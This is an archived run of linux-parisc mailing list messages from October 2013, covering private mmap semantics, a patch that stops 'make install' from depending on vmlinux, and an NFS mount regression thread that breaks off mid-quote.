Aside from the limited number of private file maps, I'm not sure the current
implementation is correct.  In a private map, a write to the area is not 
supposed
to affect the underlying object, and I assume any other existing maps to the
object.  It's also undefined whether changes to the underlying object 
after the
mmap call are visible within the private map.

So, I'm thinking it would be better to just allocate an unshared area 
and copy
the file region to it.  But this seems ugly.

The other alternative is to change the align_mask and align_offset for 
private
maps in some way.  But this seems tricky given the aliasing 
requirements.  Maybe
the alignment requirements could be relaxed on processors where aliasing 
isn't an
issue.

Thoughts?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc mmap: private file maps
Date: Thu, 17 Oct 2013 18:21:01 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BLU0-SMTP81B30E17594FAFA17968E897050@phx.gbl>
References: <BLU0-SMTP95AF0D680917EBD66DB24B97050@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382048479 14207 80.91.229.3 (17 Oct 2013 22:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Oct 2013 22:21:19 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 18 00:21:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VWvwW-0000aM-JZ
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Oct 2013 00:21:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757902Ab3JQWVT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Oct 2013 18:21:19 -0400
Original-Received: from blu0-omc4-s31.blu0.hotmail.com ([65.55.111.170]:14974 "EHLO
	blu0-omc4-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754516Ab3JQWVT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Oct 2013 18:21:19 -0400
Original-Received: from BLU0-SMTP81 ([65.55.111.135]) by blu0-omc4-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 17 Oct 2013 15:21:24 -0700
X-TMN: [lXFIA0ayPI4z+5S7eJ/313w1FESidZNd]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP81.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 17 Oct 2013 15:21:23 -0700
In-Reply-To: <BLU0-SMTP95AF0D680917EBD66DB24B97050@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Oct 2013 22:21:23.0047 (UTC) FILETIME=[36301F70:01CECB87]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5389>

On 17-Oct-13, at 12:45 PM, John David Anglin wrote:

> Currently, the perl testsuite fails the lib/locale.t test causing the
> Debian package build to fail if tests are not disabled:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=721206

The correct link is:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=721537

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make "make install" not depend on vmlinux
Date: Fri, 18 Oct 2013 21:18:46 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <20131018191846.GA31987@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382123928 26893 80.91.229.3 (18 Oct 2013 19:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Oct 2013 19:18:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 18 21:18:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VXFZU-0000dT-8U
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Oct 2013 21:18:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756920Ab3JRTSv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Oct 2013 15:18:51 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:59546 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753926Ab3JRTSv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Oct 2013 15:18:51 -0400
Original-Received: from p100.box ([84.173.48.237]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MOOJl-1VcUlJ0eUn-005paN for
 <linux-parisc@vger.kernel.org>; Fri, 18 Oct 2013 21:18:49 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:WbRfosH6QUJanG1/v2Dv09namYmTF/IwQ4lvv5QS7pMPJ5w296N
 d+tL8xBSnY4H8G4Lwme7B5mMLBjzrhkSI4Gd4ulPyQgu5q5xgUi2/wcmnjjWo89ueVntD6v
 M9t6gEc6Ji2olZ1K63dS3jb7raTTb0CSCHPltcWoYeQJNP+k0S4LfkSx0Q3zY1jauOoMnKq
 IIpNzDAvVWzdcgyYIvLqg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5390>

Install targets (install, zinstall, uinstall) on parisc have a
dependency to vmlinux. This may cause parts of the kernel to be rebuilt
during installation. We must avoid this since this may run as root.
Install targets "ABSOLUTELY MUST NOT MODIFY THE SOURCE TREE." as Linus
emphasized this in:

http://lkml.org/lkml/2013/7/10/600

So on parisc and maybe other archs we need the same as for x86:

1648e4f8 x86, kbuild: make "make install" not depend on vmlinux

This parisc patch was inspired by:

19514fc6 arm, kbuild: make "make install" not depend on vmlinux

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index e02f665..7187664 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -94,7 +94,7 @@ PALOCONF := $(shell if [ -f $(src)/palo.conf ]; then echo $(src)/palo.conf; \
 	else echo $(obj)/palo.conf; \
 	fi)
 
-palo: vmlinuz
+palo lifimage: vmlinuz
 	@if test ! -x "$(PALO)"; then \
 		echo 'ERROR: Please install palo first (apt-get install palo)';\
 		echo 'or build it from source and install it somewhere in your $$PATH';\
@@ -109,16 +109,23 @@ palo: vmlinuz
 	fi
 	$(PALO) -f $(PALOCONF)
 
-# Shorthands for known targets not supported by parisc, use vmlinux/vmlinuz as default
+BOOT_TARGETS    = zImage Image palo lifimage
+INSTALL_TARGETS = zinstall install
+
+PHONY += bzImage $(BOOT_TARGETS) $(INSTALL_TARGETS)
+
+bzImage zImage: vmlinuz
 Image: vmlinux
-zImage bzImage: vmlinuz
 
 vmlinuz: vmlinux
 	@gzip -cf -9 $< > $@
 
-install: vmlinuz
-	sh $(src)/arch/parisc/install.sh \
-			$(KERNELRELEASE) $< System.map "$(INSTALL_PATH)"
+install:
+	$(CONFIG_SHELL) $(src)/arch/parisc/install.sh \
+			$(KERNELRELEASE) vmlinux System.map "$(INSTALL_PATH)"
+zinstall:
+	$(CONFIG_SHELL) $(src)/arch/parisc/install.sh \
+			$(KERNELRELEASE) vmlinuz System.map "$(INSTALL_PATH)"
 
 CLEAN_FILES	+= lifimage
 MRPROPER_FILES	+= palo.conf
@@ -127,10 +134,11 @@ define archhelp
 	@echo  '* vmlinux	- Uncompressed kernel image (./vmlinux)'
 	@echo  '  vmlinuz	- Compressed kernel image (./vmlinuz)'
 	@echo  '  palo		- Bootable image (./lifimage)'
-	@echo  '  install	- Install kernel using'
+	@echo  '  install	- Install uncompressed vmlinux kernel using'
 	@echo  '		  (your) ~/bin/$(INSTALLKERNEL) or'
 	@echo  '		  (distribution) /sbin/$(INSTALLKERNEL) or'
 	@echo  '		  copy to $$(INSTALL_PATH)'
+	@echo  '  zinstall	- Install compressed vmlinuz kernel'
 endef
 
 # we require gcc 3.3 or above to compile the kernel
diff --git a/arch/parisc/install.sh b/arch/parisc/install.sh
index 4da682b..6f68784 100644
--- a/arch/parisc/install.sh
+++ b/arch/parisc/install.sh
@@ -19,20 +19,48 @@
 #   $4 - default install path (blank if root directory)
 #
 
+verify () {
+	if [ ! -f "$1" ]; then
+		echo ""                                                   1>&2
+		echo " *** Missing file: $1"                              1>&2
+		echo ' *** You need to run "make" before "make install".' 1>&2
+		echo ""                                                   1>&2
+		exit 1
+	fi
+}
+
+# Make sure the files actually exist
+
+verify "$2"
+verify "$3"
+
 # User may have a custom install script
 
-if [ -x ~/bin/${INSTALLKERNEL} ]; then exec ~/bin/${INSTALLKERNEL} "$@"; fi
-if [ -x /sbin/${INSTALLKERNEL} ]; then exec /sbin/${INSTALLKERNEL} "$@"; fi
+if [ -n "${INSTALLKERNEL}" ]; then
+  if [ -x ~/bin/${INSTALLKERNEL} ]; then exec ~/bin/${INSTALLKERNEL} "$@"; fi
+  if [ -x /sbin/${INSTALLKERNEL} ]; then exec /sbin/${INSTALLKERNEL} "$@"; fi
+fi
 
 # Default install
 
-if [ -f $4/vmlinuz ]; then
-	mv $4/vmlinuz $4/vmlinuz.old
+if [ "$(basename $2)" = "zImage" ]; then
+# Compressed install
+  echo "Installing compressed kernel"
+  base=vmlinuz
+else
+# Normal install
+  echo "Installing normal kernel"
+  base=vmlinux
+fi
+
+if [ -f $4/$base-$1 ]; then
+  mv $4/$base-$1 $4/$base-$1.old
 fi
+cat $2 > $4/$base-$1
 
-if [ -f $4/System.map ]; then
-	mv $4/System.map $4/System.old
+# Install system map file
+if [ -f $4/System.map-$1 ]; then
+  mv $4/System.map-$1 $4/System.map-$1.old
 fi
+cp $3 $4/System.map-$1
 
-cat $2 > $4/vmlinuz
-cp $3 $4/System.map
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.nfs
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Fri, 18 Oct 2013 21:26:23 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <52618B5F.4000508@gmx.de>
References: <52604BA9.20104@gmx.de> <1382044045.3216.44.camel@leira.trondhjem.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-7
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382124393 32653 80.91.229.3 (18 Oct 2013 19:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Oct 2013 19:26:33 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Myklebust, Trond" <Trond.Myklebust@netapp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 18 21:26:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VXFgu-0004pg-2m
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Oct 2013 21:26:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757246Ab3JRT0b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Oct 2013 15:26:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57770 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754290Ab3JRT0a (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Oct 2013 15:26:30 -0400
Original-Received: from [192.168.178.60] ([84.173.48.237]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0M1n4s-1VrWOt1NIQ-00toGG for
 <linux-parisc@vger.kernel.org>; Fri, 18 Oct 2013 21:26:29 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1382044045.3216.44.camel@leira.trondhjem.org>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:psZld5SMengFF0YAIKh5qUhKuqQmnlIBJvHwgfHDKmINoN+wkWN
 lfftoOy5/+wFw1Z7zuM6/rzbAM4znIgpZwN7k4p4c/2K7Q6XNqa622GDlLjvGbs0MO/zY0+
 bThAHi6SJG7t8PI/Bx0RO1v9LAv84TJt97R+cWIL6mr1wpFMUcFWBCT7s6+kxCPoReAU0fT
 4EAV3W/wvq4txyYoIZfhA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5391 gmane.linux.kernel:1582207 gmane.linux.nfs:59340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5391>

On 10/17/2013 11:07 PM, Myklebust, Trond wrote:
> On Thu, 2013-10-17 at 22:42 +0200, Helge Deller wrote:
>> I'm seeing a regression with current kernel git head when using NFS-mounts.
>> Architecture in my case is parisc, although I don't think that this is relevant.
>> At least kernel 3.10 (and I think 3.11) didn't showed that problem.
>>
>> The symtom is, that "top" shows high usage of either kswapd0 or kswapd1.
>> Here is an output with kswapd1:
>>   PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM     TIME+ COMMAND
>>    37 root      20   0     0    0    0 R  91.8  0.0  63:00.40 kswapd1
>> 28448 root      20   0  3252 1428 1060 R  15.3  0.0   0:00.09 top
>>     1 root      20   0  2784  988  852 S   0.0  0.0   0:09.95 init
>>
>> This is what ps shows:
>> lsXXXX:~# ps -ef |  grep mount
>> root      1181     1  0 14:51 ?        00:00:18 /usr/sbin/automount --pid-file /var/run/autofs.pid
>> root     25331  1181  0 21:25 ?        00:00:00 /bin/mount -n -t nfs -s -o nolock,rw,hard,intr homes:/unixhome1 /net/home1
>> root     25332 25331  0 21:25 ?        00:00:00 /sbin/mount.nfs homes:/unixhome1 /net/home1 -s -n -o rw,nolock,hard,intr
>>
>> And using sysrq to show the blocked tasks I get in syslog:
>> SysRq : Show Blocked State
>> mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
>> Backtrace:
>> [<0000000040113a68>] __schedule+0x500/0x810
>>
>> I know it's not a problem of the NFS server, since the same mount is still ok on other machines.
>> The NFS directory was already mounted and in use when this mount happened again (called by cron-job). 
>>  
>> Any ideas?
> 
> If the NFS directory is already mounted, then why is the automounter
> trying to mount it a second time?

I was wrong in this.
The directory wasn't mounted yet (or at least it was unmounted in the meantime before the new
mount.nfs was called).

I'm now not even sure, that the high kswapd is really triggered by the NFS problem,
because I now have another machine with the blocked NFS-mount, but without
the high kswapd usage.

Nevertheless, the blocked nfs mount tasks really make me wonder. There is clearly
some kind of regression since it doesn't happen with older kernels.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Myklebust, Trond" <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Fri, 18 Oct 2013 19:36:22 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <1382124981.20461.4.camel@leira.trondhjem.org>
References: <52604BA9.20104@gmx.de>
	 <1382044045.3216.44.camel@leira.trondhjem.org> <52618B5F.4000508@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-7"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1382124985 6772 80.91.229.3 (18 Oct 2013 19:36:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Oct 2013 19:36:25 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Oct 18 21:36:30 2013
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1VXFqW-0003ZF-Ec
	for glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 18 Oct 2013 21:36:28 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1757332Ab3JRTg0 (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Fri, 18 Oct 2013 15:36:26 -0400
Original-Received: from mx11.netapp.com ([216.240.18.76]:16035 "EHLO mx11.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757224Ab3JRTgZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 18 Oct 2013 15:36:25 -0400
X-IronPort-AV: E=Sophos;i="4.93,524,1378882800"; 
   d="scan'208";a="61779834"
Original-Received: from vmwexceht02-prd.hq.netapp.com ([10.106.76.240])
  by mx11-out.netapp.com with ESMTP; 18 Oct 2013 12:36:25 -0700
Original-Received: from SACEXCMBX04-PRD.hq.netapp.com ([169.254.6.215]) by
 vmwexceht02-prd.hq.netapp.com ([10.106.76.240]) with mapi id 14.03.0123.003;
 Fri, 18 Oct 2013 12:36:23 -0700
Thread-Topic: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Thread-Index: AQHOy3lvGBMaqnz/ckaeVwLZiNCsrJn52CeAgAF2G4CAAALIgA==
In-Reply-To: <52618B5F.4000508-Mmb7MZpHnFY@public.gmane.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.106.53.51]
Content-ID: <DB8639205257994C9C1BD85C069BD2A0-c5HhxtLuC0z3oGB3hsPCZA@public.gmane.org>
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:59342 gmane.linux.kernel:1582211 gmane.linux.ports.parisc:5392
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/59342>

On Fri, 2013-10-18 at 21:26 +-0200, Helge Deller wrote:
+AD4- On 10/17/2013 11:07 PM, Myklebust, Trond wrote:
+AD4- +AD4- On Thu, 2013-10-17 at 22:42 +020-, Helge Deller wrote:
+AD4- +AD4APg- I'm seeing a regression with current kernel git head when using NFS-mounts.
+AD4- +AD4APg- Architecture in my case is parisc, although I don't think that this is relevant.
+AD4- +AD4APg- At least kernel 3.10 (and I think 3.11) didn't showed that problem.
+AD4- +AD4APg-
+AD4- +AD4APg- The symtom is, that +ACI-top+ACI- shows high usage of either kswapd0 or kswapd1.
+AD4- +AD4APg- Here is an output with kswapd1:
+AD4- +AD4APg-   PID USER      PR  NI  VIRT  RES  SHR S  +ACU-CPU +ACU-MEM     TIME COMMAND
+AD4- +AD4APg-    37 root      20   0     0    0    0 R  91.8  0.0  63:00.40 kswapd1
+AD4- +AD4APg- 28448 root      20   0  3252 1428 1060 R  15.3  0.0   0:00.09 top
+AD4- +AD4APg-     1 root      20   0  2784  988  852 S   0.0  0.0   0:09.95 init
+AD4- +AD4APg-
+AD4- +AD4APg- This is what ps shows:
+AD4- +AD4APg- lsXXXX:+AH4AIw- ps -ef +AHw-  grep mount
+AD4- +AD4APg- root      1181     1  0 14:51 ?        00:00:18 /usr/sbin/automount --pid-file /var/run/autofs.pid
+AD4- +AD4APg- root     25331  1181  0 21:25 ?        00:00:00 /bin/mount -n -t nfs -s -o nolock,rw,hard,intr homes:/unixhome1 /net/home1
+AD4- +AD4APg- root     25332 25331  0 21:25 ?        00:00:00 /sbin/mount.nfs homes:/unixhome1 /net/home1 -s -n -o rw,nolock,hard,intr
+AD4- +AD4APg-
+AD4- +AD4APg- And using sysrq to show the blocked tasks I get in syslog:
+AD4- +AD4APg- SysRq : Show Blocked State
+AD4- +AD4APg- mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
+AD4- +AD4APg- Backtrace:
+AD4- +AD4APg- +AFsAPA-0000000040113a68+AD4AXQ- +AF8AXw-schedule+0x500/0x810-
+AD4- +AD4APg-
+AD4- +AD4APg- I know it's not a problem of the NFS server, since the same mount is still ok on other machines.
+AD4- +AD4APg- The NFS directory was already mounted and in use when this mount happened again (called by cron-job). 
+AD4- +AD4APg-  
+AD4- +AD4APg- Any ideas?
+AD4- +AD4- 
+AD4- +AD4- If the NFS directory is already mounted, then why is the automounter
+AD4- +AD4- trying to mount it a second time?
+AD4- 
+AD4- I was wrong in this.
+AD4- The directory wasn't mounted yet (or at least it was unmounted in the meantime before the new
+AD4- mount.nfs was called).
+AD4- 
+AD4- I'm now not even sure, that the high kswapd is really triggered by the NFS problem,
+AD4- because I now have another machine with the blocked NFS-mount, but without
+AD4- the high kswapd usage.
+AD4- 
+AD4- Nevertheless, the blocked nfs mount tasks really make me wonder. There is clearly
+AD4- some kind of regression since it doesn't happen with older kernels.

Have you ever reproduced it without the automounter?

Also, could you please try a sysRQ-t the next time it happens, so that
we can get a trace of where the mount program is hanging. Knowing that
the mount is stuck in +ACIAXwBf-schedule()+ACI- is not really interesting unless we
know from where that was called.

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust+AEA-netapp.com
www.netapp.com
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Fri, 18 Oct 2013 22:03:22 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <5261940A.4090101@gmx.de>
References: <52604BA9.20104@gmx.de>	 <1382044045.3216.44.camel@leira.trondhjem.org> <52618B5F.4000508@gmx.de> <1382124981.20461.4.camel@leira.trondhjem.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-7
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382126612 26270 80.91.229.3 (18 Oct 2013 20:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Oct 2013 20:03:32 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: "Myklebust, Trond" <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Oct 18 22:03:33 2013
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1VXGGd-0003iv-1p
	for glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 18 Oct 2013 22:03:27 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754637Ab3JRUDY (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Fri, 18 Oct 2013 16:03:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:61778 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752613Ab3JRUDY (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Fri, 18 Oct 2013 16:03:24 -0400
Original-Received: from [192.168.178.60] ([84.173.48.237]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MZCQ8-1VJ2Gd1896-00L1C4 for
 <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Fri, 18 Oct 2013 22:03:23 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1382124981.20461.4.camel-5lNtUQgoD8Pfa3cDbr2K10B+6BGkLq7r@public.gmane.org>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:HF0g82k/E4ayoPZ26bkYiu+CHXrZe98z/fdAEr6f12oAfuUKi1w
 npCpSUyhKi0eus/stosRgnFeuAa0aTVljICCIlmbw1tQiTNoqg5CTso5JO3sW3psVvbeEQ2
 2lN2JdqNgC0o6zE5eQfjx69XBSRYaRuiHS8+IU2c24c5UWEl/bV60UayZhi1dkAF76B2sAs
 96g7juhUzHCyls2Bd5Tkg==
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:59343 gmane.linux.kernel:1582235 gmane.linux.ports.parisc:5393
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/59343>

On 10/18/2013 09:36 PM, Myklebust, Trond wrote:
> On Fri, 2013-10-18 at 21:26 +0200, Helge Deller wrote:
>> On 10/17/2013 11:07 PM, Myklebust, Trond wrote:
>>> On Thu, 2013-10-17 at 22:42 m, Helge Deller wrote:
>>>> I'm seeing a regression with current kernel git head when using NFS-mounts.
>>>> Architecture in my case is parisc, although I don't think that this is relevant.
